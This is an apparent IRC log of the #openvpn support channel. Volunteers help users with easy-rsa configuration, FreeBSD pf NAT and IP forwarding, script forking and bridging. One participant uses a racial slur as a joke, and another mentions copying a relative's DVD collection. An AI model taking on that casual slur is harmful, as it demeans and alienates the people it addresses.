10:49 -!- muh-die-kuh [~hco@bronx.lab9.de] has joined #openvpn
10:53 <+rob0> thus why easy-rsa exists!
10:57 <@ecrist> !ssl-admin
10:57 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
10:58 <+pekster> Presumably changing the code there without knowing what you're doing also breaks it ;)
10:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:00 <@krzee> lol
11:01 <@plaisthos> pekster: nah the found the holy grail of using openssl
11:03 <@ecrist> heh
11:03 <@ecrist> openssl is as well documented as openldap.  I don't know what you're all bitching about
11:03 <+pekster> Well, with how hard to read the APIs are, maybe there's a mindreading function hidden in there (I can't say I've discovered it, but that doesn't mean it's not there!)
11:07 <@plaisthos> ecrist: did you ever look at the /developer/ API documentation?
11:07 <@plaisthos> btw. my favourite in documentation is still INN
11:07 <@plaisthos> (and the software around it)
11:07 < ccha> on openbsd,... on freebsd easy-rsa works
11:08 <+pekster> ccha: Have you read/processed what I've told you? You *cannot* use a stock distro-provided openssl.cnf file as easy-rsa sets variables during its operation that the config file picks up that are included in very specific ways during the PKCS#7 and X509 generation/signing process
11:08 < ccha> ok there is a /etc/openvpn/easy-rsa/openssl-1.0.0.cnf
11:08 <@plaisthos> Felt like you have to be the inner circle of old guys running nntp servers when I tried to setup an INN server
11:09 <@plaisthos> that sounds like a debian path :)
11:09 <+pekster> ccha: Yes, and this is what the `whichopensslcnf` script points to, which is what the shipped 'vars' script you're supposed to source sets as the config file ;)
11:09 < ccha> on openbsd there is no whichopensslcnf
11:09 <+pekster> Then pick up a source checkout?
11:10 <+pekster> !easyrsa
11:10 <@vpnHelper> "easyrsa" is (#1) "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa or (#2) git-master is recommended due to security improvements (commit ff5bfd1dd8)
11:10 < ccha> no from openbsd package
11:10 <+pekster> Right; send bad packaging complaints to the downstream maintainer
11:10 <+pekster> If they "forgot" to include it in their package or build but it works upstream, this means OpenBSD (or $whatever_distro) made a mistake
11:11 <+pekster> Ideally, feel free to correct the flaw and offer it as a patch to your distro so future users don't suffer the same problem
11:13 <+pekster> ccha: If you simply want to statically define the config to use, just edit the vars script to point to the easy-rsa installed .cnf file matching your openssl version
11:14 < ccha> yes /etc/openvpn/easy-rsa/openssl-1.0.0.cnf this one works
11:14 <+pekster> fwiw, the comment in this file is pretty self-explanitory: "# This variable should point to the openssl.cnf file included with easy-rsa."
11:15 <@plaisthos> pekster: I answer third of question to my software with "it is in the FAQ"
11:16 <@plaisthos> pekster: reading is not a strong point I guess
11:18 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 246 seconds]
11:19 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
11:21 < cian1500ww> If I use tun on the OpenVPN server, do clients also need to use the tun device or can they use the tap device?
11:21 -!- elfixit [~Icedove@82.197.179.16] has quit [Client Quit]
11:23 <+pekster> cian1500ww: It has to match, yes. One side cannot send an IP frame and have it decoded as an Ethernet frame or vise-versa
11:23 < cian1500ww> pekster: Ok, thanks!
11:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
11:47 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:53 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has joined #openvpn
11:54 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
11:54 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
11:57 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
11:58 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
12:00 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has quit [Remote host closed the connection]
12:00 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has joined #openvpn
12:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
12:21 <+rob0> tharkun, how's the road trip?
12:29 < mrrg> question: is --route-up only good for running scripts that affect the local machine? as opposed to sending traffic through the tunnel?
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:31 < mrrg> i can't seem to initiate traffic through the tunnel until --route-up script completes...
12:33 <+pekster> mrrg: See --route-delay if you need a delay involved
12:33 < mrrg> hmm, i did try that but it still seems to fail
12:33 < mrrg> let me try again
12:35 <@krzee> mrrg, what are you trying to do in your script?
12:35 < mrrg> well, atm just send a ping through
12:36 < mrrg> but eventually send some tcp payload
12:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:37 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has quit [Ping timeout: 245 seconds]
12:38 <@krzee> if you answered i need you to repeat it, my irc client died i had to restart it
12:38 <+pekster> mrrg, you probably want to background a process to do that (fork) and exit 0 to the openvpn process. If your ping is for any reason lost and you don't take care to return success to openvpn, the caller assumes that something fatal happened and shuts down the VPN
12:39 < mrrg> krzee: 10:35 < mrrg> well, atm just send a ping through
12:39 < mrrg> 10:36 < mrrg> but eventually send some tcp payload
12:39 <+pekster> (remember that shell scripts use the last program's exit code as an implied exit code if you supply none explicitly
12:40 <@krzee> and scripts block last i knew
12:42 -!- forthewolves [~nuke@95.154.243.39] has joined #openvpn
12:43 < forthewolves> !welcome
12:43 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
12:43 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:43 < forthewolves> I would like to access the internet over my vpn
12:44 < forthewolves> !redirect
12:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:44 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:45 < forthewolves> !ipforward
12:45 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
12:45 < forthewolves> !fbsdipforward
12:45 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
12:45 < mrrg> pekster: hmm, yeah i'll work outside of ovpn if i have to, but was hoping for some flow control coming from the tunnel setup
12:45 <+pekster> 'flow control' ? As in QoS?
12:46 < mrrg> no, more like flood control i guess
12:46 -!- ihre [~ihre@unaffiliated/ihre] has quit [Ping timeout: 260 seconds]
12:46 < mrrg> i'm trying to simulate many connections from single box(s)
12:47 -!- ihre [~ihre@86.86.252.187] has joined #openvpn
12:47 -!- ihre [~ihre@86.86.252.187] has quit [Changing host]
12:47 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
12:47 < mrrg> so would like to loop many connects which in turn then fire some traffic through the tunnel
12:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:48 <+pekster> Yea, so fork and then do it to let the connection complete
12:49 <+pekster> http://pastebin.kde.org/pxwkmde7h/xpxf12
12:49 -!- vashidu [~vashidu@192.249.57.224] has joined #openvpn
12:50 < forthewolves> Anyone want to help me with openvpn on freebsd? Just tyring to route to internet
12:50 < vashidu> which bot has this config parser?
12:50 < mrrg> pekster: cool, let me give this a shot
12:50 <@krzee> forthewolves,
12:50 <@krzee> !fbsdnat
12:50 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
12:50 <@krzee> !redirect
12:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:50 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:50 <@krzee> !fbsdipforward
12:50 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
12:50 < forthewolves> pfctl in /usr/src/contrib/pf ?
12:51 < vashidu> babby need help
12:51 <@krzee> how to use pf is outside the scope of this channel
12:51 < forthewolves> that's fair
12:51 < forthewolves> thanks though
12:51 <@krzee> np
12:51 <@ecrist> !pf
12:51 < vashidu> topkek
12:51 <@krzee> !ping
12:51 <@vpnHelper> pong
12:51 <@krzee> !factoids search pf
12:51 <@vpnHelper> 'pfsense', 'winipforward', 'linipforward', 'fbsdipforward', 'win_ipfail', 'pfnat', 'osxipforward', and 'ipforward'
12:52 < vashidu> !pfnat
12:52 <@vpnHelper> "pfnat" is nat on <inf> from <subnet/ip> to <subnet/ip> -> <nat_ip>
12:52 <@ecrist> that is freebsd pf
12:52 < vashidu> right and hes on freebsd 9.1
12:52  * ecrist reads
12:53 <@krzee> he doesnt know how to add the rule and i swapped my pf box for openwrt so i cant check
12:53 <@krzee> well i could google it? but so could he
12:53 <@ecrist> I know how to use pf, I don't see his question
12:53 <@ecrist> is pf running at all?
12:53 < vashidu> i'm not sure
12:53 < forthewolves> I just got on freebsd. Setup openvpn on it. still getting familiar
12:53 <@krzee> im pretty sure it is "whats pf, how do i use it?"
12:54 < vashidu> pfctl -d
12:54 <@ecrist> ok, so  in /etc/rc.conf, set pf_enable = "YES"
12:54 <@krzee> but only in the context of adding that single nat rule
12:54 < forthewolves> pfctl: /dev/pf: No such file or directory
12:54 <@ecrist> edit /etc/pf.conf and just add a simple rule set
12:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:55 <@ecrist> try kldload pf.so
12:55 < forthewolves>  nat on $ext_if from $vpn_network to any -> ($ext_if) with the ip's inplace of variables right?
12:55 <@krzee> $ext_if is an interface
12:56 <@ecrist> so, if you have a bge0
12:56 <@ecrist> nat on bge0 from 10.0.8.0/24 to any -> <outside_ip> 
12:56 <@ecrist> where outside_ip is the IP address you want everything natted to
12:57 <@ecrist> make sure you have a rule allowing all traffic, or pf blocks by default, iirc
12:58 <@ecrist> pass all
12:58 <@ecrist> and then sysctl net.inet.ip.forwarding=1
12:58 <@ecrist> and add gateway_enable="YES" to rc.conf
12:59 <@ecrist> then, /etc/rc.d/pf restart
13:00 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
13:04 < forthewolves> pass in log all keep state
13:04 < forthewolves> right?
13:04 <@ecrist> no reason to log
13:04 <@ecrist> I'd just do what I said, above
13:04 <@ecrist> pass all
13:04 <@ecrist> if you're passing all, no reason to do state tracking
13:05 <@ecrist> and your rule doesn't pass traffic out
13:05 <@ecrist> only in
13:05 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 256 seconds]
13:05 <+pekster> keep state is the default anyway IIRC
13:05 < forthewolves> ahh alright
13:05 <@ecrist> yeah, it is now
13:05 < forthewolves> im coming from iptables here
13:05 < forthewolves> gonna enable. see if i get lockedout. Hope for the best haha
13:06 <@ecrist> before you do
13:06 <@ecrist> create a cron job that just exectutes "pfctl -d" every 10 minutes as root
13:06 <@ecrist> in /etc/crontab
13:06 <@ecrist> */10 * * * * root /sbin/pfctl -d
13:06 < forthewolves> why disable it every time minutes?
13:07 <@ecrist> if you fuck up and lock yourself out, you can get back in in 10 minutes or less
13:07 <@krzee> ^^^ THAT
13:07 < forthewolves> oh word.
13:07 < forthewolves> That's boss
13:07 <@ecrist> once you've confirmed it works, you remove the cronjob
13:07 <@krzee> that will save your ass more than once
13:07 < forthewolves> i did that this morning
13:07 <+pekster> (just don't load your rules at 9 minutes 56 seconds after the hour then test them 4 seconds later ;)
13:08 <@ecrist> lol
13:08 <@krzee> :D
13:08 <@ecrist> forthewolves: I've been using freebsd since 2.2.5 (circa 1997)
13:08 < forthewolves> Nice. ecrist, thanks man.
13:08 <+pekster> I have a failsafe-job script in /usr/local/bin that waits $1 seconds and then runs $@ (shift notwithstanding)
13:09 <@ecrist> pekster: that doesn't do much good if $controlling_term terms
13:09 <+pekster> It forks ;)
13:09 <@ecrist> well, my statement stands
13:09 <@ecrist> forking changes the controlling term. :P
13:11 < forthewolves> my kernel yelle at my.
13:11 < forthewolves> oh well. I'll figure this out
13:13 < forthewolves> nah no inernet
13:13 < vashidu> still no internet?
13:14 < vashidu> tcpdump that interface and see what happens
13:14 < forthewolves> tcpdump which itnerace?
13:14 < forthewolves> tun0?
13:14 < vashidu> yea niggy
13:14 < vashidu> mfw get banned for joking
13:18 <@ecrist> close
13:18 < mrrg> pekster: hey thx for the tip with the forking, looks to be working
13:18 <@ecrist> forthewolves: sysctl net.inet.ip.forwarding
13:18 <@ecrist> paste the result of that here, please
13:18 < forthewolves> its forwarding
13:18 < forthewolves>  # sysctl net.inet.ip.forwarding
13:18 < forthewolves> net.inet.ip.forwarding: 1
13:19 < forthewolves> cat pf.conf
13:19 < forthewolves> nat on em0 from 10.0.8.0/24 to any -> 198.245.63.163
13:19 < forthewolves> pass all
13:19 <+pekster> mrrg: Yup, basic shell stuff
13:19 < mrrg> pekster: fyi, had to change to double brackets [[ ]] else was getting [: !=: unary operator expected
13:19 <@ecrist> pastebin the result of "pfctl -vvv -s nat"  and "pfctl -vvv -s rules"
13:20 <+pekster> mrrg: Oh, to make it POSIX shell compliant you'd need "$1" -- or use bashisms if you have bash
13:20 < mrrg> ah yeah good call
13:20 < forthewolves> http://pastebin.com/0srHbFm6
13:20 <+pekster> Told ya it was untested ;)
13:20 < mrrg> :)
13:20 < forthewolves> http://pastebin.com/xZLwngfv
13:22 <@ecrist> forthewolves: can you pastebin your openvpn server config, please?
13:23 < forthewolves> can i curl to it?
13:23 <@ecrist> what?
13:24 < forthewolves> lol i can't just scroll and copy
13:25 <@ecrist> how about pfctl -vvv -s state
13:25 -!- ihre [~ihre@unaffiliated/ihre] has quit [Ping timeout: 260 seconds]
13:25 -!- ihre [~ihre@86.86.252.187] has joined #openvpn
13:25 -!- ihre [~ihre@86.86.252.187] has quit [Changing host]
13:25 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
13:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:31 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
13:32 < vashidu> i was working on a pf.conf for him
13:32 < vashidu> http://paste.vashidu.info/?show=27
13:32 <@ecrist> his pf.conf is fine
13:32 < vashidu> was as far as i got
13:32 <@ecrist> depending upon what's in his server config for openvpn
13:33 < vashidu> well ill be setting up my openvpn on bsd tomorrow night
13:33 < vashidu> so i *may* need some help with it
13:39 -!- codex0 [~anonymous@12.12.201.178] has joined #openvpn
13:41 < codex0> quick question… i have an instance of access server up, using the AMI specified in the docs. all works eel, however i'm trying to migrate my server , it's public ip changed.  Problem is, when i goto /admin/status_overview under ServerName it still lists old public dns name , and when i pull vpn profiles its still using old config
13:42 <@ecrist> !as
13:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:42 < codex0> eel = well*
13:42 < codex0> oh thanks!
13:44 -!- forthewolves [~nuke@95.154.243.39] has left #openvpn []
13:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
13:48 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has joined #openvpn
13:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:50 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 240 seconds]
13:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:58 -!- Denial [Denial@05417302.skybroadband.com] has quit []
14:06 -!- codex0 [~anonymous@12.12.201.178] has quit [Ping timeout: 252 seconds]
14:10 -!- codex0 [~anonymous@ec2-54-200-93-60.us-west-2.compute.amazonaws.com] has joined #openvpn
14:11 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
14:18 -!- codex0 [~anonymous@ec2-54-200-93-60.us-west-2.compute.amazonaws.com] has quit [Quit: codex0]
14:25 -!- Zordrak_ is now known as Zordrak
14:25 -!- namidark [~namidark@192.34.61.38] has left #openvpn ["Linkinus - http://linkinus.com"]
14:30 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:32 < Corey> Hmm, tharkun is on the road today. We should hilight him in more channels.
14:33 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
14:39 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
14:40 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
14:41 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
14:42 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Ping timeout: 260 seconds]
14:50 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
14:52 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:53 -!- codex0 [~anonymous@12.12.201.178] has joined #openvpn
14:53 -!- codex0 [~anonymous@12.12.201.178] has quit [Client Quit]
14:58 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 256 seconds]
14:59 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
15:01 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
15:03 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
15:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
15:19 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
15:25 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
15:31 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:35 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 260 seconds]
15:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
15:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:52 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
15:59 -!- kunago [~Thunderbi@77.87.243.110] has joined #openvpn
16:00 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has quit [Ping timeout: 240 seconds]
16:01 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has joined #openvpn
16:02 < kunago> Hi. I have a fairly simple VPN structure: 1 server, 2 routers and a few clients hidden behind each router. Let the first network be 192.168.1.0/24, the second 192.168.2.0/24 and the VPN network 192.168.100.0/24. I am not using client-to-client and the server is using iptables to redirect any necessary traffic. At this point, server can ping each router, routers can ping each other. This is fine. But it happens that for clients it is not possible to ping. 
16:02 < kunago> I have routes set up for each other network on the router. Do I also need it set manually for each client connected to a network?
16:08 -!- neutr0n [~neutr0n@wsip-70-184-231-139.ks.ks.cox.net] has joined #openvpn
16:12 < sauce> kunago ipv4_forward=1 ?
16:13 < sauce> kunago all routers know how to route traffic? do you know how to troubleshoot using tcpdump?
16:13 < sauce> kunago and if the routers don't know how to route traffic, are you using NAT?
16:14 < sauce> i have to go home now but, if you answer those questions someone here may be able to help you. i will be back tomorrow
16:14 < kunago> sauce: I tried quite a few things. I have recently exchanged my router on one subnet. The router is not the client connecting the network to a server. So the communication is client -> router -> VPN client -> VPN server -> other VPN client -> network client
16:14 < kunago> But it works for some clients and doesn't work for others.
16:14 < kunago> It does not make any sense.
16:17 < sauce> kunago you know what i do?  draw out a visio diagram. get the your idea out of your head, and on to paper.  then you can visualize where the problem might be
16:17 < kunago> So to those questions:
16:17 < kunago> 1) yes, ipv4_forward=1 on the server
16:17 < kunago> 2) all routers know how to route traffic; I have the impression the clients don't simply pick up the route from the router for some reason
16:17 < kunago> 3) I tried something with tcmpdump but I can only use it on the VPN server
16:17 < kunago> 4) I am using NAT, but routers have routes set properly
16:18 < kunago> sauce: I actually don't see the problem anywhere. If I ping a host, it does not reply. If I traceroute it, it replies and I can ping it for a few minutes until it loses the "route memory" or whatever it may be.
16:23 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
16:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:36 -!- kunago [~Thunderbi@77.87.243.110] has quit [Quit: kunago]
16:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:55 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
16:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:13 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
17:20 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
17:32 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
18:01 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
18:05 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
18:11 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
18:31 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
18:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
18:47 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has joined #openvpn
18:48 < doug[home]> i havent touched a vpn in ages.. im rusty. i want to access my Plex server with DLNA over a PTP VPN with OpenVPN... I'm pretty sure I need tap, but even then, will it allow the ps3 to send the necessary broadcast traffic to find the dlna server
18:49 -!- cjs226 [~cjs226@rrcs-24-153-205-193.sw.biz.rr.com] has quit [Ping timeout: 264 seconds]
18:53 < doug[home]> !tap
18:53 <@vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything
18:53 <@vpnHelper> where the protocol uses MAC addresses instead of IP addresses.
19:03 -!- neutr0n [~neutr0n@wsip-70-184-231-139.ks.ks.cox.net] has quit [Quit: Leaving]
19:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
19:04 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 264 seconds]
19:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:15 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
19:38 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 240 seconds]
20:10 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
20:16 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
20:34 -!- monsterco [~monsterco@64.231.101.21] has joined #openvpn
20:34 < monsterco> Hi everyone - It seems that the binary for OpenVPN on Windows only supports up to 50 profiles - is there a way around that?
20:36 -!- raidz is now known as raidz_away
20:36 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:44 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
20:51 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:51 -!- monsterco [~monsterco@64.231.101.21] has quit [Ping timeout: 260 seconds]
20:53 -!- monsterco [~monsterco@64.231.101.21] has joined #openvpn
20:59 -!- monsterco [~monsterco@64.231.101.21] has quit []
21:01 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 245 seconds]
21:09 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 260 seconds]
21:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:18 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
21:29 <@krzee> doug[home],
21:29 <@krzee> werd man, ltns
21:29 <@krzee> you need a bridge
21:29 <@krzee> since the ps3 is a lan machine
21:30 <@krzee> the side that has the ps3 needs to be the side bridged afaik
21:30 <@krzee> i dont really do bridging so i cant help much more than that
21:44 < doug[home]> krzee: blah
21:44 < doug[home]> krzee: i have downloaded approx half the internet to my Plex Media Server
21:45 < doug[home]> i wish i could somehow mirror a lan ip to the remote ip.. like 1:1 over nat, so ps3 would detect it
21:58 < doug[home]> just kdiding
21:58 < doug[home]> made a big copy of my cousins enormous dvd collection tho, and wanna be able to stream that
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:24 -!- troyt [~troyt@2601:7:6d00:432:4b0:bcff:fe85:273a] has joined #openvpn
22:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
23:18 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
23:21 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:22 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 268 seconds]
23:27 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
23:40 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
23:46 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
--- Day changed Thu Oct 03 2013
00:11 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:19 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
00:22 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:27 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
00:47 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
01:25 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:40 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
01:42 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:48 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
01:51 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:38 -!- eval-_ [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has quit [Ping timeout: 248 seconds]
02:40 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
02:57 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
03:01 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
03:08 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
03:09 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:32 < cian1500ww> Is there any way to not change the default gateway of a client in a bridging VPN set up? I only want traffic destined for the VPN network to go through the VPN.
